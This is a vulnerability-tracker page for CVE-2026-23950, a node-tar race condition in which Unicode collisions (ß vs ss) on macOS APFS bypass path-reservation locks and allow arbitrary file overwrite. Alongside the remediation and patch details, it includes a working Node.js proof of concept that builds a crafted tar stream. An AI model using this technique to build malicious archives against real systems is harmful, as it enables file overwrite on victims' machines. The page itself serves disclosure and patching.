CVE-2026-23950 is a high-severity (CVSS 8.8) CWE-176 vulnerability in tar. A fix is available for tar — see the affected versions and patch details below.
node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23950.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
tarnpmDescription
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | tar | all versions | 7.5.4npm install tar@7.5.4 |
Affected Products
tarisaacsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tar to 7.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23950 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Important for Red Hat products. The `node-tar` library is susceptible to a race condition due to incomplete handling of Unicode path collisions, which can lead to arbitrary file overwrites via symlink poisoning. However, this issue primarily affects case-insensitive or…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-23950 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Enterprise Linux 10 | linux-sgx-0:2.26-7.el10 | RHSA-2026:18480 |
| Red Hat Enterprise Linux 9 | linux-sgx-0:2.26-7.el9 | RHSA-2026:18868 |
| Red Hat OpenShift Dev Spaces 3.27 | devspaces/udi-rhel9:1774451954 | RHSA-2026:6192 |
| Red Hat Trusted Artifact Signer 1.2 | rhtas/rekor-search-ui-rhel9:1770739056 | RHSA-2026:2926 |
| Red Hat Trusted Artifact Signer 1.3 | rhtas/rekor-search-ui-rhel9:1770107452 | RHSA-2026:2144 |
Frequently Asked Questions
Is CVE-2026-23950 in your dependencies?
Find it across npm, including transitive dependencies.